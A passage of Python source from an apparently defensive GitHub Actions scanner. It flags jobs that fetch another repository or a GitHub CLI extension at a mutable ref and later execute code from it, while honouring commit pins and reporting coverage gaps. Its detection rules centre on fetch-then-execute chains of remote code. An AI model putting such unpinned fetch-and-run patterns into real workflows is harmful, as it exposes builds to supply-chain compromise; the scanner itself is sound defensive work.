  3810. starts = sorted(_run_scalar_starts(text))
  3811. out: dict[int, str] = {}
  3812. for mark in marks:
  3813. if (mark.run_line is None or mark.run_value is None
  3814. or mark.run_end_line != mark.run_line):
  3815. continue
  3816. start_line = next(
  3817. (s for s in starts if mark.run_line <= s <= mark.end_line), None)
  3818. if start_line is not None:
  3819. out[start_line] = mark.run_value
  3820. return out
  3821. def _default_working_directory(doc: dict, job: Any) -> str:
  3822. """`defaults.run.working-directory` for this job, else the workflow's.
  3823. GitHub resolves the JOB's over the workflow's, and a step's own
  3824. `working-directory:` over both. Precedence is decided HERE, before any
  3825. knowability test: treating an unreadable job default as absent fell
  3826. through to the workflow's value and placed the step in a directory it
  3827. demonstrably did not run in.
  3828. A default holding an expression gets the same opaque treatment a step's
  3829. does — `defaults: {run: {working-directory: apps/${{ matrix.app }}}}` is a
  3830. mainstream monorepo shape, and guessing the workspace root for it is the
  3831. defect class this scanner may not commit.
  3832. """
  3833. def _of(node: Any) -> str | None:
  3834. if not isinstance(node, dict):
  3835. return None
  3836. run = (node.get("defaults") or {}).get("run") \
  3837. if isinstance(node.get("defaults"), dict) else None
  3838. value = run.get("working-directory") if isinstance(run, dict) else None
  3839. return str(value) if isinstance(value, (str, int, float)) else None
  3840. written = _of(job)
  3841. if written is None:
  3842. written = _of(doc)
  3843. if not written:
  3844. return "."
  3845. if _EXPRESSION_TOKEN_RE.search(written):
  3846. return _opaque_dir(written)
  3847. return _resolve_path(".", written)
  3848. def _opaque_dir(written: str) -> str:
  3849. """A directory whose real path the YAML does not contain.
  3850. Keyed by the WRITTEN TEXT, not by the line it appeared on. Keying by line
  3851. made two steps under the same `apps/${{ matrix.app }}` two different
  3852. unknown places, so a fetch in one and an execution in the other — the more
  3853. idiomatic spelling — produced no finding and no gap, while the single-step
  3854. form fired. The same expression is the same directory.
  3855. """
  3856. # Normalized INSIDE the braces too: GitHub ignores the spacing there, so
  3857. # `apps/${{ matrix.app }}` and `apps/${{matrix.app}}` are one directory.
  3858. # Keying on the raw text made them two unknown places and lost the chain
  3859. # between them with no finding and no gap.
  3860. canonical = _EXPRESSION_TOKEN_RE.sub(
  3861. lambda m: "${{ " + " ".join(m.group(0)[3:-2].split()) + " }}", written)
  3862. return _OPAQUE_DIR + " ".join(canonical.split())
  3863. _CHECKOUT_USES_RE = re.compile(r"^\s*-?\s*uses\s*:\s*['\"]?actions/checkout[@'\"]")
  3864. def _checkout_fetches(
  3865. job: Any, text: str, job_range: tuple[int, int] | None, file_path: Path,
  3866. gap: Callable[[str], None] | None = None,
  3867. ) -> list[_RemoteFetch]:
  3868. """`actions/checkout` steps that fetch ANOTHER repository at a mutable ref.
  3869. The YAML spelling of the same trust model, and the common one: most
  3870. workflows pull a second repository with `actions/checkout`, not with
  3871. `git clone`. At a branch or tag the tree that lands is whatever the other
  3872. side serves when the job runs, exactly as for the shell arm — and the shell
  3873. arm could not see it, because it reads `run:` scalars only.
  3874. A checkout with no `repository:` is your own code. So is one naming your
  3875. own repository. Both are the overwhelmingly common case and neither is this
  3876. vector.
  3877. """
  3878. steps = _job_steps(job)
  3879. if not steps:
  3880. return []
  3881. lines = text.splitlines()
  3882. start, end = job_range if job_range else (1, len(lines))
  3883. # Lines from the PARSER, not from a regex counting `uses:` occurrences in
  3884. # order: the words `uses: actions/checkout@v4` inside a heredoc body shifted
  3885. # every later step's line, so the evidence quoted a shell-script line, and a
  3886. # flow-style step matched nothing and fell back to the job header.
  3887. # Only CHECKOUT steps, and their own `uses:` lines. Collecting every step
  3888. # with a `uses:` key while the index below counted only checkouts shifted
  3889. # the mapping by one for every `actions/setup-*` step ahead of the
  3890. # third-party checkout — nearly every real workflow — so the evidence
  3891. # quoted the wrong step and, when the shift moved the checkout EARLIER than
  3892. # a run step, invented a chain whose execution precedes its fetch.
  3893. marks = _step_marks(text) or []
  3894. at_lines = [m.uses_line for m in marks
  3895. if m.uses_line is not None and start <= m.uses_line <= end
  3896. and (m.uses or "").startswith("actions/checkout")]
  3897. out: list[_RemoteFetch] = []
  3898. index = -1
  3899. for step in steps:
  3900. uses = step.get("uses")
  3901. if not (isinstance(uses, str) and uses.startswith("actions/checkout")):
  3902. continue
  3903. index += 1
  3904. # The line this checkout sits on, resolved once so every gap sentence
  3905. # can name it: notes dedupe on their reason text, and two steps with
  3906. # the same unresolvable expression collapsed into one entry.
  3907. mark_line = at_lines[index] if index < len(at_lines) else start
  3908. with_block = step.get("with")
  3909. if not isinstance(with_block, dict):
  3910. continue
  3911. repository = with_block.get("repository")
  3912. if not isinstance(repository, str) or not repository.strip():
  3913. continue # your own code
  3914. # The self-repository test comes FIRST. Running the expression gap
  3915. # ahead of it recorded a checkout of your own repo — the very spelling
  3916. # the clone arm was taught to recognise — as "whether it fetches a
  3917. # third party was NOT established", into the channel that raises the
  3918. # "not a clean result" banner. Two real repositories opened their
  3919. # reports with that warning over nothing but self-checkouts.
  3920. if _is_self_clone(repository, file_path) or \
  3921. _is_self_clone(f"github.com/{repository.strip()}", file_path):
  3922. continue
  3923. if _EXPRESSION_TOKEN_RE.search(repository):
  3924. # Anything else computed at run time — the fork-PR spelling above
  3925. # all — really is unknowable, and the finding would name a third
  3926. # party the scan never established.
  3927. if gap is not None:
  3928. gap(f"an `actions/checkout` on line {mark_line} takes its "
  3929. f"`repository:` from `{repository.strip()}`, computed at "
  3930. f"run time, so whether it fetches a third party was NOT "
  3931. f"established")
  3932. continue
  3933. ref = with_block.get("ref")
  3934. ref = str(ref).strip() if isinstance(ref, (str, int)) else None
  3935. if ref and _FULL_SHA_RE.match(ref):
  3936. if gap is not None:
  3937. gap(f"an `actions/checkout` of `{repository}` on line "
  3938. f"{mark_line} is pinned to a full commit id, so it is "
  3939. f"deliberately not reported",
  3940. kind=_KIND_SUPPRESSED)
  3941. continue # immutable, as pinned
  3942. path = with_block.get("path")
  3943. path = str(path).strip() if isinstance(path, (str, int)) else None
  3944. if path and _EXPRESSION_TOKEN_RE.search(path):
  3945. if gap is not None:
  3946. gap(f"an `actions/checkout` of `{repository}` on line "
  3947. f"{mark_line} uses a `path:` computed at run time, so what "
  3948. f"executes out of it was NOT checked")
  3949. continue
  3950. if ref and _EXPRESSION_TOKEN_RE.search(ref):
  3951. # A ref chosen at run time is not knowably mutable OR pinned.
  3952. if gap is not None:
  3953. gap(f"an `actions/checkout` of `{repository}` on line "
  3954. f"{mark_line} uses a `ref:` computed at run time, so "
  3955. f"whether it is pinned was NOT established")
  3956. continue
  3957. line = mark_line
  3958. out.append(_RemoteFetch(
  3959. line=line,
  3960. raw=lines[line - 1] if line - 1 < len(lines) else "",
  3961. dest=_resolve_path(".", path) if path else ".",
  3962. ref=ref,
  3963. pos=-1, # a YAML step: ordered by line, below
  3964. source=repository.strip(),
  3965. ))
  3966. return out
  3967. def _mutable_fetch_executions(
  3968. text: str, job_range: tuple[int, int] | None,
  3969. gap: Callable[[str], None] | None = None,
  3970. file_path: Path | None = None,
  3971. base_cwd: str = ".",
  3972. extra_fetches: list[_RemoteFetch] | None = None,
  3973. ) -> list[tuple[_RemoteFetch, int, str]]:
  3974. """Every (fetch, execution line, executed path) pair visible in one job.
  3975. Both halves have to be visible in the SAME job — jobs get their own runner
  3976. and their own working tree, so a clone in one is not the tree another runs
  3977. from. Within the job the pairing is positional: the execution must come
  3978. after the fetch that put the code there.
  3979. A pin suppresses a destination only when it lands BETWEEN the fetch and the
  3980. execution. Earlier than the fetch it pinned the tree as it stood rather
  3981. than the code the fetch brought in; later than the execution the code had
  3982. already run unpinned. Both used to suppress.
  3983. """
  3984. fetches: dict[str, _RemoteFetch] = {
  3985. f.dest: f for f in reversed(extra_fetches or [])}
  3986. # Clones a later re-clone into the same destination overwrote (last-wins).
  3987. # They stay as fall-back candidates: the LAST unpinned fetch is the tree
  3988. # that ran only when a command actually ran from it — a trailing re-clone
  3989. # that nothing executes must not bury an earlier clone that WAS executed.
  3990. shadowed: dict[str, list[_RemoteFetch]] = {}
  3991. pending_fetch_head: dict[str, _RemoteFetch] = {}
  3992. # destination -> the EARLIEST position a full-40-hex pin was applied to it.
  3993. # Position matters: pinning is a claim about the code that ran, and a pin
  3994. # applied after an execution pinned nothing that had already executed.
  3995. pinned: dict[str, list[int]] = {}
  3996. # `git remote add <name> <url>` — a third-party fetch spelled in two steps.
  3997. # Without this, two characters of indirection made the whole arm blind.
  3998. named_remotes: dict[str, str] = {}
  3999. # (position, line, resolved path, path as written)
  4000. executions: list[tuple[int, int, str, str]] = []
  4001. # Executions whose path begins with a shell variable this scan cannot
  4002. # resolve. Held aside, not resolved: their real location is unknowable, so
  4003. # pairing one against a fetch would be a guess. Surfaced as a coverage note
  4004. # (below) when the job actually has a fetch to run out of.
  4005. unresolved_execs: list[tuple[int, str]] = []
  4006. # (position, line) for EVERY command in the job. A checkout-step fetch has
  4007. # no position of its own, so its suppression window has to open at the
  4008. # first command after it — any command. Deriving that from `executions`
  4009. # instead opened the window at the first EXECUTION, which is the reported
  4010. # hit itself, leaving an interval nothing could fall inside.
  4011. command_lines: list[tuple[int, int]] = []
  4012. cwd = base_cwd
  4013. skip_step = False
  4014. pos = 0
  4015. step_dirs = _step_working_directories(text)
  4016. for line_no, _raw, command, new_step in _job_shell_commands(
  4017. text, job_range, gap):
  4018. if new_step:
  4019. # `working-directory:` on the step wins over the job's and the
  4020. # workflow's `defaults.run.working-directory`; with none of them
  4021. # set, a step starts at the workspace root. Getting this wrong is
  4022. # not a missed finding but a FALSE one: a clone into `vendor/tools`
  4023. # and a `tools/build.py` that is the repository's own file were
  4024. # reported as a chain between them.
  4025. step_dir = step_dirs.get(line_no)
  4026. skip_step = False
  4027. if step_dir is not None and _EXPRESSION_TOKEN_RE.search(step_dir):
  4028. # `working-directory: apps/${{ matrix.app }}` is extremely
  4029. # common and its value is not knowable here. Skipping the step
  4030. # would lose every chain inside it; pretending to know it would
  4031. # invent chains across it. So it becomes an OPAQUE root, keyed
  4032. # by the expression TEXT: two steps under the same expression
  4033. # are the same place, and two different expressions never are.
  4034. cwd = _opaque_dir(step_dir)
  4035. elif step_dir:
  4036. # A step's `working-directory:` is resolved against the
  4037. # WORKSPACE and REPLACES the job default rather than nesting
  4038. # inside it. Composing them put a step under `app` into
  4039. # `app/app` and lost real chains through the job's own default.
  4040. cwd = _resolve_path(".", step_dir)
  4041. else:
  4042. cwd = base_cwd
  4043. if skip_step:
  4044. continue
  4045. # A substitution is collapsed BEFORE the command is split, because the
  4046. # split breaks on `|` and would otherwise cut `$(ls a | head)` in half
  4047. # and read each piece as a command of its own.
  4048. #
  4049. # But `$( … )` RUNS its body, so the body is then read as commands in
  4050. # its own right, ahead of the command that captures its output.
  4051. # Collapsing alone lost them: `OUT=$(tools/setup.sh)` after a mutable
  4052. # clone produced no finding, no gap and no suppression, while the
  4053. # backtick spelling of the same construct still recorded one.
  4054. scope_cwds: dict[tuple[int, ...], str] = {(): cwd}
  4055. def _cwd_for_scope(scope: tuple[int, ...]) -> str:
  4056. if scope not in scope_cwds:
  4057. scope_cwds[scope] = _cwd_for_scope(scope[:-1])
  4058. return scope_cwds[scope]
  4059. for segment, scope in _commands_in_execution_order(command):
  4060. pos += 1
  4061. if not segment.strip():
  4062. continue
  4063. segment_cwd = _cwd_for_scope(scope)
  4064. command_lines.append((pos, line_no))
  4065. tokens = _strip_command_prefix(_shell_tokens(segment))
  4066. if not tokens:
  4067. # `shlex` refused it — an unbalanced quote, most often, and
  4068. # ordinary in real workflows (`awk '{print $1}'` inside a
  4069. # quoted string, and so on). It contributes nothing, which is
  4070. # correct: it is only a COVERAGE GAP when the text it could not
  4071. # read could have held one of the two halves this detector
  4072. # pairs. Reporting every unreadable command instead produced
  4073. # roughly eight notes per repository about `jq` filters.
  4074. if _CHAIN_RELEVANT_RE.search(segment):
  4075. if gap is not None:
  4076. gap(f"a command on line {line_no} could not be parsed "
  4077. f"as shell and mentions a fetch or an execution, "
  4078. f"so it was NOT checked — review it by hand")
  4079. if not scope and _UNPARSED_CD_RE.search(segment):
  4080. # A `cd` nobody could read leaves the working directory
  4081. # stale, so every path resolved after it in this step
  4082. # would be wrong. That half-read step is abandoned.
  4083. skip_step = True
  4084. break
  4085. continue
  4086. if tokens[0] == "cd" and len(tokens) > 1 and not tokens[1].startswith("-"):
  4087. scope_cwds[scope] = _resolve_path(segment_cwd, tokens[1])
  4088. if not scope:
  4089. cwd = scope_cwds[scope]
  4090. continue
  4091. if tokens[0] == "git":
  4092. sub, gdir, args = _git_subcommand(tokens)
  4093. base = (_resolve_path(segment_cwd, gdir)
  4094. if gdir else segment_cwd)
  4095. if sub == "remote" and args[:1] == ["add"]:
  4096. positionals = [a for a in args[1:] if not a.startswith("-")]
  4097. if (len(positionals) >= 2
  4098. and _is_remote_url(positionals[1])
  4099. and not (file_path is not None
  4100. and _is_self_clone(positionals[1],
  4101. file_path))):
  4102. # The two-step spelling of a fetch has to make the same
  4103. # judgment the one-step spelling makes. Without the
  4104. # self-clone test the identical URL was silent through
  4105. # `git clone` and a finding through `git remote add`.
  4106. named_remotes[positionals[0]] = positionals[1]
  4107. continue
  4108. if sub == "clone":
  4109. url, dest_written, ref = _parse_clone(args)
  4110. if file_path is not None and _is_self_clone(url or "",
  4111. file_path):
  4112. continue
  4113. dest_written = _clone_destination(url or "", dest_written)
  4114. if not dest_written:
  4115. # Nothing is claimed without a visible destination, but
  4116. # the job then reads as a job with no fetch in it.
  4117. if gap is not None:
  4118. gap(f"a `git clone` on line {line_no} has no "
  4119. f"visible destination directory, so whether "
  4120. f"anything executes out of it was NOT checked")
  4121. continue
  4122. dest = _resolve_path(base, dest_written)
  4123. if ref and _FULL_SHA_RE.match(ref):
  4124. pinned.setdefault(dest, []).append(pos)
  4125. if gap is not None:
  4126. gap(f"a clone into `{_as_written(dest)}` on line {line_no} is "
  4127. f"pinned to a full commit id, so it is "
  4128. f"deliberately not reported",
  4129. kind=_KIND_SUPPRESSED)
  4130. continue
  4131. # LAST unpinned fetch into a destination wins — it is the
  4132. # tree that actually ran. `setdefault` kept the FIRST, so a
  4133. # clone, a pin of it, then a re-clone of the same directory
  4134. # read as pinned (the pin sat between the stale first clone
  4135. # and the execution) and the job went silent while it ran
  4136. # the unpinned re-clone. The `pinned` list still holds every
  4137. # pin, so a genuine pin of the surviving fetch suppresses.
  4138. prev = fetches.get(dest)
  4139. if prev is not None:
  4140. shadowed.setdefault(dest, []).append(prev)
  4141. fetches[dest] = _RemoteFetch(line_no, _raw, dest, ref, pos)
  4142. continue
  4143. if sub == "fetch":
  4144. positionals = [a for a in args if not a.startswith("-")]
  4145. if not positionals:
  4146. continue
  4147. if not (_is_remote_url(positionals[0])
  4148. or positionals[0] in named_remotes):
  4149. continue
  4150. ref = positionals[1] if len(positionals) > 1 else None
  4151. if ref and _FULL_SHA_RE.match(ref):
  4152. pinned.setdefault(base, []).append(pos)
  4153. continue
  4154. # A fetch alone changes no file in the tree — it becomes
  4155. # executable code only once something checks FETCH_HEAD
  4156. # out, so it is held until that happens.
  4157. pending_fetch_head.setdefault(
  4158. base, _RemoteFetch(line_no, _raw, base, ref, pos))
  4159. continue
  4160. if sub in ("checkout", "reset", "switch", "merge", "rebase"):
  4161. if any(_FULL_SHA_RE.match(a) for a in args):
  4162. pinned.setdefault(base, []).append(pos)
  4163. if any("FETCH_HEAD" in a for a in args):
  4164. held = pending_fetch_head.get(base)
  4165. if held is not None:
  4166. fetches.setdefault(base, held)
  4167. continue
  4168. continue
  4169. path = _executed_path(tokens)
  4170. if path:
  4171. if _leading_unresolved_var(path):
  4172. unresolved_execs.append((line_no, path))
  4173. continue
  4174. executions.append((pos, line_no,
  4175. _resolve_path(segment_cwd, path), path))
  4176. # A path led by an unresolvable shell variable is a coverage gap ONLY where
  4177. # there is a fetched tree it might have run out of — otherwise every
  4178. # `$CARGO_HOME/bin/tool` in an ordinary job would raise a note about a chain
  4179. # that cannot exist. Whether the fetch is visible is known only now the
  4180. # whole job has been read.
  4181. if fetches and gap is not None:
  4182. for line_no, path in unresolved_execs:
  4183. gap(f"an execution on line {line_no} runs a path beginning with a "
  4184. f"shell variable (`{_as_written(path)}`) whose value is not "
  4185. f"visible in this YAML, so whether it runs out of a fetched "
  4186. f"tree was NOT checked — review it by hand")
  4187. # Steps that may run at the same time (`_StepTiming`): an execution racing
  4188. # the fetch counts as after it, and a pin racing either half pins nothing
  4189. # knowably in between.
  4190. spans = _step_spans(text)
  4191. pos_line = dict(command_lines)
  4192. def _racing(a: int, b: int) -> bool:
  4193. return _lines_concurrent(spans, a, b)
  4194. pairs: list[tuple[_RemoteFetch, int, str]] = []
  4195. for dest, fetch in fetches.items():
  4196. # The last unpinned fetch into a destination is the tree that ran — but
  4197. # only when a command actually ran from it. A trailing re-clone nothing
  4198. # executes leaves the last fetch with no hit; the earlier clone a
  4199. # command DID run from is still live, so the shadowed fetches stay as
  4200. # fall-back candidates, tried latest-first. A candidate that is
  4201. # pin-suppressed also falls through: an earlier, unpinned tree may have
  4202. # been executed before the pin landed.
  4203. candidates = [fetch, *reversed(shadowed.get(dest, ()))]
  4204. fired: tuple[_RemoteFetch, int, str] | None = None
  4205. suppressed_line: int | None = None
  4206. for cand in candidates:
  4207. hit = next(
  4208. (
  4209. (at, line, written)
  4210. for at, line, resolved, written in executions
  4211. # A shell fetch is ordered by position in the command stream
  4212. # (both halves can share a line); a checkout step has no
  4213. # position there, so it is ordered by line.
  4214. if ((line > cand.line if cand.pos < 0 else at > cand.pos)
  4215. or _racing(cand.line, line))
  4216. and _under(dest, resolved)
  4217. ),
  4218. None,
  4219. )
  4220. if hit is None:
  4221. continue
  4222. # ANY pin between the fetch and the execution suppresses — not just
  4223. # the first one seen. Keeping only the earliest hid the pin a
  4224. # repository actually applied when an older one landed on a tree it
  4225. # then discarded, and told it that it executes unpinned remote code.
  4226. #
  4227. # A checkout-step fetch has no position in the command stream, so
  4228. # its window opens just before the first shell command AFTER its
  4229. # step — ANY command. Two ways to get this wrong, and this code has
  4230. # had both: opening at -1 let every pin in the job count, including
  4231. # one applied to a tree the checkout then replaced; opening at the
  4232. # first EXECUTION-shaped command left the window empty whenever that
  4233. # execution was the reported hit, so the fix recipe's own shape
  4234. # (checkout, pin, run) could never suppress and an unrelated command
  4235. # sitting in between decided the verdict.
  4236. window_start = cand.pos
  4237. if window_start < 0:
  4238. window_start = next(
  4239. (at for at, line in command_lines if line > cand.line),
  4240. hit[0] + 1) - 1
  4241. pin_at = next((p for p in pinned.get(dest, ())
  4242. if window_start < p < hit[0]
  4243. and not _pin_races(pos_line.get(p),
  4244. (hit[1], cand.line), _racing,
  4245. bool(spans))),
  4246. None)
  4247. if pin_at is not None:
  4248. suppressed_line = cand.line
  4249. continue
  4250. fired = (cand, hit[1], hit[2])
  4251. break
  4252. if fired is not None:
  4253. pairs.append(fired)
  4254. elif suppressed_line is not None and gap is not None:
  4255. # Pinned before it ran: the fix this entry recommends, applied.
  4256. gap(f"a fetch into `{_as_written(dest)}` on line {suppressed_line} was pinned to "
  4257. f"a full commit id before anything ran from it, so it is "
  4258. f"deliberately not reported",
  4259. kind=_KIND_SUPPRESSED)
  4260. return sorted(pairs, key=lambda p: p[0].line)
  4261. # --- P14.24, third shape: a GitHub CLI extension installed at a mutable ref ---
  4262. #
  4263. # `gh extension install OWNER/REPO` downloads the extension — a release binary,
  4264. # or the repository's own script — at the LATEST release, or at the ref named by
  4265. # `--pin`. A release tag or a branch is whatever that repository's owner points
  4266. # it at when the job runs, so it is the same trust model as a `git clone` at a
  4267. # branch, and it follows the same rule: a finding needs the install AND a later
  4268. # run of the extension in the same job (`gh <name> …`, or `gh extension exec
  4269. # <name>`). Only a full 40-hex `--pin` is immutable, and a local install
  4270. # (`gh extension install .`) is the repository's own code.
  4271. _GH_EXTENSION_GROUPS = frozenset({"extension", "extensions", "ext"})
  4272. _GH_EXTENSION_VALUE_OPTS = frozenset({"--pin"})
  4273. # `gh extension install` refuses names that shadow one of gh's built-in
  4274. # commands. Treating a later `gh pr` as an invocation of `OWNER/gh-pr` invents
  4275. # an execution which the CLI itself makes impossible.
  4276. _GH_BUILTIN_COMMANDS = frozenset({
  4277. "alias", "api", "attestation", "auth", "browse", "cache", "codespace",
  4278. "completion", "config", "extension", "gist", "gpg-key", "help", "issue",
  4279. "label", "org", "pr", "project", "release", "repo", "ruleset", "run",
  4280. "search", "secret", "ssh-key", "status", "variable", "version", "workflow",
  4281. })
  4282. @dataclass(frozen=True)
  4283. class _GhExtensionInstall:
  4284. line: int
  4285. raw: str
  4286. repo: str # as written: OWNER/REPO, HOST/OWNER/REPO or a URL
  4287. name: str | None # the command it installs; None when not knowable
  4288. ref: str | None # None = the latest release (no `--pin`)
  4289. pos: int
  4290. def _gh_extension_command(tokens: list[str]) -> tuple[str, list[str]] | None:
  4291. """(subcommand, args) for `gh extension|ext <sub> …`, else None."""
  4292. if len(tokens) >= 3 and tokens[0] == "gh" and tokens[1] in _GH_EXTENSION_GROUPS:
  4293. return tokens[2], tokens[3:]
  4294. return None
  4295. def _parse_gh_extension_install(
  4296. args: list[str],
  4297. ) -> tuple[str | None, str | None]:
  4298. """(target, `--pin` value) from `gh extension install`'s arguments."""
  4299. target: str | None = None
  4300. pin: str | None = None
  4301. i = 0
  4302. while i < len(args):
  4303. tok = args[i]
  4304. if tok.startswith("--pin="):
  4305. pin = tok.split("=", 1)[1]
  4306. elif tok in _GH_EXTENSION_VALUE_OPTS:
  4307. if i + 1 < len(args):
  4308. pin = args[i + 1]
  4309. i += 1
  4310. elif not tok.startswith("-") and target is None:
  4311. target = tok
  4312. i += 1
  4313. return target, pin
  4314. def _gh_extension_is_local(target: str) -> bool:
  4315. return target == "." or target.startswith(("./", "../", "/", "~"))
  4316. def _gh_extension_name(target: str) -> str | None:
  4317. """The command an extension repository installs: its name minus `gh-`."""
  4318. if "$" in target or "\x00" in target:
  4319. return None
  4320. base = target.rstrip("/").rsplit("/", 1)[-1]
  4321. if base.endswith(".git"):
  4322. base = base[: -len(".git")]
  4323. if base.startswith("gh-"):
  4324. base = base[len("gh-"):]
  4325. return base or None
  4326. def _inert_flags(text: str) -> list[bool]:
  4327. """Per character of `text`: is it printed text the shell never expands?
  4328. True inside single quotes, and for the character a backslash escapes
  4329. outside them: a backslash before `$(` or a backtick makes it literal text,
  4330. both unquoted and inside double quotes. `_shell_scan`'s quoting rules do
  4331. not say WHICH quote a data character sits in, nor whether a backslash made
  4332. it literal."""
  4333. flags: list[bool] = []
  4334. quote: str | None = None
  4335. i, n = 0, len(text)
  4336. while i < n:
  4337. ch = text[i]
  4338. if quote != "'" and ch == "\\" and i + 1 < n:
  4339. flags += [False, True]
  4340. i += 2
  4341. continue
  4342. if quote:
  4343. flags.append(quote == "'")
  4344. if ch == quote:
  4345. quote = None
  4346. else:
  4347. if ch in "'\"":
  4348. quote = ch
  4349. flags.append(ch == "'")
  4350. i += 1
  4351. return flags
  4352. # A `$( … )` substitution, or a backtick one (its body may escape a backtick).
  4353. _ANY_SUBSTITUTION_RE = re.compile(
  4354. _COMMAND_SUBSTITUTION_RE.pattern + r"|`(?:[^`\\]|\\.)*`", re.S)
  4355. def _commands_in_execution_order(
  4356. command: str,
  4357. ) -> list[tuple[str, tuple[int, ...]]]:
  4358. """Each command of `command`, preceded by the commands its `$( … )` and
  4359. backtick substitutions run, in the order the shell runs them.
  4360. `install && out=$(gh <name>)` installs first and then runs: reading every
  4361. substitution body ahead of the whole line put the run before the install.
  4362. A substitution inside single quotes, or one whose `$` or backtick is
  4363. escaped with a backslash, is printed text, never run, so its body is not a
  4364. command at all. The scope tuple keeps each substitution's shell state
  4365. separate from its parent while preserving their shared filesystem.
  4366. """
  4367. def _ordered(
  4368. text: str,
  4369. scope: tuple[int, ...],
  4370. ) -> list[tuple[str, tuple[int, ...]]]:
  4371. inert = _inert_flags(text)
  4372. # (body, runs?) per collapsed substitution, left to right. A `$( … )`
  4373. # is collapsed even when inert, so a `|` inside it never splits the
  4374. # line; an inert backtick is plain text and stays as written.
  4375. subs: list[tuple[str, bool]] = []
  4376. pieces: list[str] = []
  4377. at = 0
  4378. while True:
  4379. match = _ANY_SUBSTITUTION_RE.search(text, at)
  4380. if match is None:
  4381. break
  4382. runs = not inert[match.start()]
  4383. backtick = match.group(0).startswith("`")
  4384. if backtick and not runs:
  4385. pieces.append(text[at:match.start() + 1])
  4386. at = match.start() + 1
  4387. continue
  4388. pieces.append(text[at:match.start()] + "$SUBST")
  4389. subs.append((match.group(0)[1:-1] if backtick
  4390. else match.group(0)[2:-1], runs))
  4391. at = match.end()
  4392. pieces.append(text[at:])
  4393. collapsed = "".join(pieces)
  4394. pending = iter(subs)
  4395. out: list[tuple[str, tuple[int, ...]]] = []
  4396. child = 0
  4397. for segment in _install_command_segments(collapsed):
  4398. for _ in range(segment.count("$SUBST")):
  4399. sub = next(pending, None)
  4400. if sub is not None and sub[1]:
  4401. child += 1
  4402. out.extend(_ordered(sub[0], scope + (child,)))
  4403. out.append((segment, scope))
  4404. return out
  4405. return _ordered(command, ())
  4406. def _gh_extension_executions(
  4407. text: str, job_range: tuple[int, int] | None,
  4408. gap: Callable[..., None] | None = None,
  4409. file_path: Path | None = None,
  4410. ) -> list[tuple[_GhExtensionInstall, int, str]]:
  4411. """Every (mutable install, invocation line, invocation as written) in a job.
  4412. Mirrors `_mutable_fetch_executions`: both halves must be in the SAME job and
  4413. the invocation must come after the install it runs (or in a step that may
  4414. run at the same time). A mutable install with no visible invocation is a
  4415. coverage note — the extension may still run from a script this scan cannot
  4416. read — rather than a finding or a silent pass.
  4417. """
  4418. installs: list[_GhExtensionInstall] = []
  4419. # (position, line, extension name, invocation as written)
  4420. invocations: list[tuple[int, int, str, str]] = []
  4421. pos = 0
  4422. for line_no, raw, command, _new_step in _job_shell_commands(text, job_range):
  4423. for segment, _scope in _commands_in_execution_order(command):
  4424. pos += 1
  4425. tokens = _strip_command_prefix(_shell_tokens(segment))
  4426. if not tokens or tokens[0] != "gh" or len(tokens) < 2:
  4427. continue
  4428. ext = _gh_extension_command(tokens)
  4429. if ext is None:
  4430. # `gh <name> …` — a built-in command never collides with an
  4431. # installed extension's name (gh refuses the install), so only
  4432. # names a visible install provided are ever matched below.
  4433. invocations.append((pos, line_no, tokens[1],
  4434. f"gh {tokens[1]}"))
  4435. continue
  4436. sub, args = ext
  4437. if sub == "exec" and args and not args[0].startswith("-"):
  4438. invocations.append((pos, line_no, args[0],
  4439. f"gh {tokens[1]} exec {args[0]}"))
  4440. continue
  4441. if sub != "install":
  4442. continue
  4443. target, pin = _parse_gh_extension_install(args)
  4444. if not target or _gh_extension_is_local(target):
  4445. continue
  4446. if "://" in target:
  4447. slug_url = target
  4448. elif target.count("/") >= 2: # HOST/OWNER/REPO
  4449. slug_url = "https://" + target
  4450. else: # OWNER/REPO
  4451. slug_url = "https://github.com/" + target
  4452. if file_path is not None and _is_self_clone(slug_url, file_path):
  4453. continue
  4454. if pin and _FULL_SHA_RE.match(pin):
  4455. if gap is not None:
  4456. gap(f"a GitHub CLI extension `{_as_written(target)}` on "
  4457. f"line {line_no} is pinned to a full commit id, so it "
  4458. f"is deliberately not reported", kind=_KIND_SUPPRESSED)
  4459. continue
  4460. name = _gh_extension_name(target)
  4461. if name in _GH_BUILTIN_COMMANDS:
  4462. continue
  4463. installs.append(_GhExtensionInstall(
  4464. line_no, raw, target, name, pin, pos))
  4465. spans = _step_spans(text)
  4466. pairs: list[tuple[_GhExtensionInstall, int, str]] = []
  4467. for idx, inst in enumerate(installs):
  4468. # A later install of the same extension replaces this one; it is then
  4469. # judged on its own.
  4470. until = next((later.pos for later in installs[idx + 1:]
  4471. if later.name == inst.name), None)
  4472. hit = None
  4473. if inst.name is not None:
  4474. hit = next(
  4475. ((line, written) for at, line, name, written in invocations
  4476. if name == inst.name
  4477. and (at > inst.pos or _lines_concurrent(spans, inst.line, line))
  4478. and (until is None or at < until)),
  4479. None,
  4480. )
  4481. if hit is not None:
  4482. pairs.append((inst, hit[0], hit[1]))
  4483. elif until is None and gap is not None:
  4484. gap(f"a GitHub CLI extension `{_as_written(inst.repo)}` is "
  4485. f"installed at a mutable reference on line {inst.line}, but "
  4486. f"no run of it is visible in this job, so whether it executes "
  4487. f"was NOT checked — review the job by hand")
  4488. return pairs
  4489. def _gh_extension_ref_description(ref: str | None) -> str:
  4490. """`_ref_description` in the GitHub CLI's terms, not git's: `--pin` is
  4491. resolved by `gh` when the job installs the extension, and a binary
  4492. extension reads it as a release TAG name."""
  4493. if ref is None:
  4494. return "its latest release (no `--pin`)"
  4495. if _ABBREV_SHA_RE.match(ref) and not ref.isdigit():
  4496. return (f"`{ref}` (an ABBREVIATED commit id: the GitHub CLI resolves "
  4497. f"it when the job installs the extension, and a binary "
  4498. f"extension reads it as a release tag name, so it names no "
  4499. f"one fixed commit)")
  4500. return f"`{_as_written(ref)}`"
  4501. # --- P14.24, gh extension arm: the release-immutability lookup -------------
  4502. #
  4503. # A binary extension's `--pin` names a release TAG. A release GitHub publishes
  4504. # as IMMUTABLE locks its tag and assets, so that pin cannot move — but the
  4505. # setting lives on GitHub, not in the workflow. With the network checks on
  4506. # (the same `--gh-impostor` switch as P14.11, so `off` keeps every vector
  4507. # lookup offline), each tag-pinned install that the job then runs is looked up once
  4508. # per (repository, tag) per scan:
  4509. #
  4510. # GET /repos/{owner}/{repo}/releases/tags/{tag} → the release's
  4511. # `immutable` boolean.
  4512. #
  4513. # Only a confirmed `immutable: true` removes a finding, and it is recorded as a
  4514. # suppression. Everything else — `false`, a 404 (no published release there, not a
  4515. # release), an error, a rate limit, the lookup switched off — keeps today's
  4516. # finding, and `gh_checks["P14.24"]` says how many lookups ran and why any did
